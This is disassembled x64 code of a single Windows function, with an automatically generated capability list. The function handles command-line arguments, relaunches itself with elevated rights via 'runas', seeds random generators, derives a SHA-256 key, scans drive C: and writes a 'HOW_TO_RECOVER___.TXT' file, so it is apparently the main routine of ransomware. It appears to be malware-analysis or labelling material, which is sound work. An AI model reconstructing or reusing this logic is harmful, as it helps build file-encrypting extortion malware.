Function at 0x140007a44
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Hash data using sha256
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3e0
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r14d, r14d
mov rsi, rcx
mov qword [rbp - 0x80], r14
mov dil, r14b
mov qword [rsp + 0x78], r14
mov byte [rsp + 0x30], r14b
mov dword [rbp - 0x78], r14d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x78]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
or r12, 0xffffffffffffffff
lea r15d, [r14 + 1]
mov r13, rax
test rax, rax
je 0x140007e3c
mov dword [rsp + 0x34], r15d
cmp dword [rbp - 0x78], r15d
jle 0x140007e2d
lea r14d, [r15 + 1]
xor edi, edi
lea rbx, [rax + 8]
mov rcx, qword [rbx]
lea rdx, [0x140048da4]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007af6
cmp dword [rbp - 0x78], r14d
jl 0x140007af6
lea rcx, [rbp - 0x80]
jmp 0x140007b4e
mov rcx, qword [rbx]
lea rdx, [0x140048db0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007b2f
cmp dword [rbp - 0x78], r14d
jl 0x140007b2f
mov rdx, qword [rbx + 8]
lea r8, [0x140048dac]
lea rcx, [rsp + 0x78]
call fcn.140022480
mov byte [rsp + 0x30], 1
jmp 0x140007be8
mov rcx, qword [rbx]
lea rdx, [0x140048db8]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007b63
cmp dword [rbp - 0x78], r14d
jl 0x140007b63
lea rcx, [rsp + 0x78]
mov rdx, qword [rbx + 8]
lea r8, [0x140048dac]
call fcn.140022480
jmp 0x140007be8
mov rcx, qword [rbx]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007bc5
cmp dword [rbp - 0x78], r14d
jl 0x140007bc5
mov rax, qword [rsi + 8]
lea r8, [rbx + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007bb8
mov rdx, qword [r8]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov r8, r12
mov qword [rax + 0x18], rdi
inc r8
cmp word [rdx + r8*2], di
jne 0x140007b9f
mov rcx, rax
call fcn.14000a26c
add qword [rsi + 8], 0x20
jmp 0x140007be8
mov rdx, rax
mov rcx, rsi
call fcn.14000b09c
jmp 0x140007be8
mov rcx, qword [rbx]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007be8
cmp dword [rbp - 0x78], r14d
jl 0x140007be8
mov rcx, qword [rbx + 8]
call fcn.140022f18
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140008088
and qword [rsp + 0x70], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007c4b
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x50]
mov r9d, 4
mov dword [rbp - 0x50], 4
lea r8, [rbp - 0x4c]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne edi, dword [rbp - 0x4c]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140007c5b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x140007dc5
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, pe_nt_image_headers64
call fcn.14001d190
lea rcx, [rbp + 0x40]
call fcn.14000929c
lea r15d, [rdi + 1]
cmp dword [rbp - 0x78], r15d
jle 0x140007cbb
lea rdi, [r13 + 8]
lea rcx, [rbp + 0x50]
call fcn.140009cec
mov rdx, qword [rdi]
mov rcx, rax
call fcn.140009fdc
mov rcx, rax
lea rdx, [0x140048e34]
call fcn.140009fdc
inc r15d
lea rdi, [rdi + 8]
cmp r15d, dword [rbp - 0x78]
jl 0x140007c8b
mov eax, dword [rbp + 0xc8]
xor edi, edi
xorps xmm0, xmm0
mov qword [rbp - 0x60], rdi
and al, 0x22
movups xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x70], di
lea r10d, [rdi + 7]
mov qword [rbp - 0x58], r10
movups xmmword [rsp + 0x58], xmm0
cmp al, 2
je 0x140007d12
mov rax, qword [rbp + 0x98]
mov r8, qword [rax]
test r8, r8
je 0x140007d12
cmp r8, qword [rbp + 0xc0]
mov rax, qword [rbp + 0x78]
cmovb r8, qword [rbp + 0xc0]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x140007d50
test byte [rbp + 0xc8], 4
jne 0x140007d46
mov rax, qword [rbp + 0x90]
mov rcx, qword [rax]
test rcx, rcx
je 0x140007d46
mov rax, qword [rbp + 0x70]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa8]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, rcx
jmp 0x140007d0d
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x140007d62
lea rcx, [rbp - 0x70]
call fcn.140009b1c
mov r10, qword [rbp - 0x58]
mov r8, qword [r13]
lea r9, [rbp - 0x70]
cmp r10, 8
mov dword [rsp + 0x28], 5
lea rdx, str.runas
mov qword [rsp + 0x20], rdi
cmovae r9, qword [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x70]
call fcn.140009930
lea rcx, [rbp + 0xd8]
call fcn.1400091b8
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0xd8]
mov qword [rbp + 0xd8], rax
call fcn.14001c59c
mov r15d, dword [rsp + 0x34]
jmp 0x140007dc7
xor edi, edi
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007dfe
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov r8, r12
mov qword [rax + 0x18], rdi
inc r8
cmp word [rdx + r8*2], di
jne 0x140007de5
mov rcx, rax
call fcn.14000a26c
add qword [rsi + 8], 0x20
jmp 0x140007e0c
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.14000b09c
inc r15d
inc r14d
add rbx, 8
mov dword [rsp + 0x34], r15d
cmp r15d, dword [rbp - 0x78]
jl 0x140007ad6
mov dil, byte [rsp + 0x30]
xor r14d, r14d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r15d, 1
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
mov r9d, r15d
or rax, rdx
mov dword [rsp + 0x20], r14d
imul eax, dword [rbp - 0x40]
xor r8d, r8d
xor edx, edx
imul eax, ecx
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x74], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140007ebb
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x140007eda
mov r9d, r15d
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140007eda
mov rcx, qword [rbp - 0x48]
lea r8, [rbp - 0x74]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x74]
lea r11, [0x140053fa0]
mov dword [0x140053fa0], eax
mov edx, r15d
mov eax, r15d
mov r8d, r15d
mov r9d, r15d
mov r10d, r15d
cdqe
mov ecx, dword [r11 + rax*4 - 4]
shr ecx, 0x1e
xor ecx, dword [r11 + rax*4 - 4]
movsxd rax, r8d
imul ecx, ecx, 0x6c078965
add ecx, edx
lea edx, [r9 + 1]
mov dword [r11 + rax*4], ecx
mov r8d, edx
movsxd rax, r10d
mov r9d, edx
mov dword [0x140054960], edx
mov r10d, edx
mov dword [r11 + rax*4], ecx
mov eax, edx
cmp edx, 0x270
jl 0x140007ef9
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
movups xmm1, xmmword [0x140051c48]
xor eax, eax
mov byte [rsp + 0x38], 9
xorps xmm0, xmm0
mov qword [rsp + 0x49], rax
movups xmmword [rsp + 0x39], xmm0
lea r8, [rsp + 0x38]
mov dword [rsp + 0x51], eax
movups xmm0, xmmword [0x140051c38]
lea rdx, [rbp + 0x290]
mov word [rsp + 0x55], ax
lea rcx, [0x140053978]
mov byte [rsp + 0x57], al
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm1
call fcn.1400036d8
lea r8, [0x140051c60]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x2b0]
call fcn.1400036d8
movups xmm0, xmmword [rbp + 0x2b0]
mov r9d, 0x20
mov qword [rbp + 0x30], 0x20
movups xmm1, xmmword [rbp + 0x2c0]
and r9d, 0x3f
mov dword [rbp + 0x10], 0x6a09e667
mov ecx, r9d
mov dword [rbp + 0x14], 0xbb67ae85
not ecx
mov dword [rbp + 0x18], 0x3c6ef372
and ecx, 3
mov dword [rbp + 0x1c], 0xa54ff53a
lea r8d, [r9 + 3]
shl ecx, 3
shr r8d, 2
mov dword [rbp + 0x20], 0x510e527f
mov dword [rbp + 0x24], 0x9b05688c
mov dword [rbp + 0x28], 0x1f83d9ab
mov dword [rbp + 0x2c], 0x5be0cd19
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm1
test r8d, r8d
je 0x140008043
lea rdx, [rbp - 0x30]
lea rdx, [rdx + r8*4]
lea rdx, [rdx - 4]
mov eax, dword [rdx]
bswap eax
mov dword [rdx], eax
add r8d, 0xffffffff
jne 0x140008033
mov r8d, r9d
mov edx, 0xffffff80
shr r8, 2
mov eax, 0x80
shl edx, cl
mov ebx, 0xe
shl eax, cl
and edx, dword [rbp + r8*4 - 0x30]
or edx, eax
mov dword [rbp + r8*4 - 0x30], edx
cmp r9d, 0x38
jae 0x1400080fc
shr r9d, 2
add r9d, r15d
cmp r9d, ebx
jae 0x140008134
jmp 0x140008118
xorps xmm0, xmm0
lea rdx, str.File_not_found_OR_Invalid_argument
xorps xmm1, xmm1
lea rcx, [rbp - 0x70]
mov r8d, 0x23
movups xmmword [rbp - 0x70], xmm0
movdqu xmmword [rbp - 0x60], xmm1
call fcn.14000a26c
movsxd rax, r15d
mov rdx, qword [r13 + rax*8]
inc r12
cmp word [rdx + r12*2], di
jne 0x1400080b5
mov r8, r12
lea rcx, [rbp - 0x70]
call fcn.140009c70
cmp qword [rbp - 0x58], 8
lea rdx, [rbp - 0x70]
mov r9d, 0x10
lea r8, str.Error
cmovae rdx, qword [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x70]
call fcn.140009930
jmp 0x140008257
mov eax, dword [rbp + 0xc]
cmp r9d, 0x3c
sbb ecx, ecx
and ecx, eax
xor eax, ecx
lea rcx, [rbp - 0x30]
mov dword [rbp + 0xc], eax
call fcn.140003ee0
mov r9d, r14d
mov eax, r9d
lea rcx, [rbp - 0x30]
sub ebx, r9d
xor edx, edx
mov r8d, ebx
shl r8, 2
lea rcx, [rcx + rax*4]
call fcn.14001d190
mov edx, dword [rbp + 0x30]
mov ecx, edx
mov eax, dword [rbp + 0x34]
shr ecx, 0x1d
shl eax, 3
or ecx, eax
lea eax, [rdx*8]
mov dword [rbp + 8], ecx
lea rcx, [rbp - 0x30]
mov dword [rbp + 0xc], eax
call fcn.140003ee0
mov edx, r14d
lea r9, [0x140053950]
mov r8, r14
mov rax, r8
mov ecx, edx
and eax, 0xf
not ecx
and ecx, 3
add edx, r15d
shl ecx, 3
mov dword [rbp + rax*4 - 0x30], r14d
mov rax, r8
shr rax, 2
add r8, r15
mov eax, dword [rbp + rax*4 + 0x10]
shr eax, cl
mov byte [r9], al
add r9, r15
cmp edx, 0x20
jb 0x140008167
call fcn.14000c068
mov eax, dword [0x140051c58]
lea r8, [rbp + 0x40]
mov dword [rsp + 0x28], eax
lea rcx, str.C:
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, r12
jne 0x1400081e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1400081e0
mov dword [0x140051c58], r14d
jmp 0x1400081e9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x140053af8]
call fcn.140005350
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x1400079b0]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rsp + 0x78]
mov r9, rsi
mov rcx, qword [rbp - 0x80]
mov r8b, dil
mov rbx, rax
call fcn.140006814
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.140005ea4
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x140053950], xmm0
movups xmmword [0x140053960], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.140007414
mov rcx, rsi
call fcn.1400098a4
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.14001ae90
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret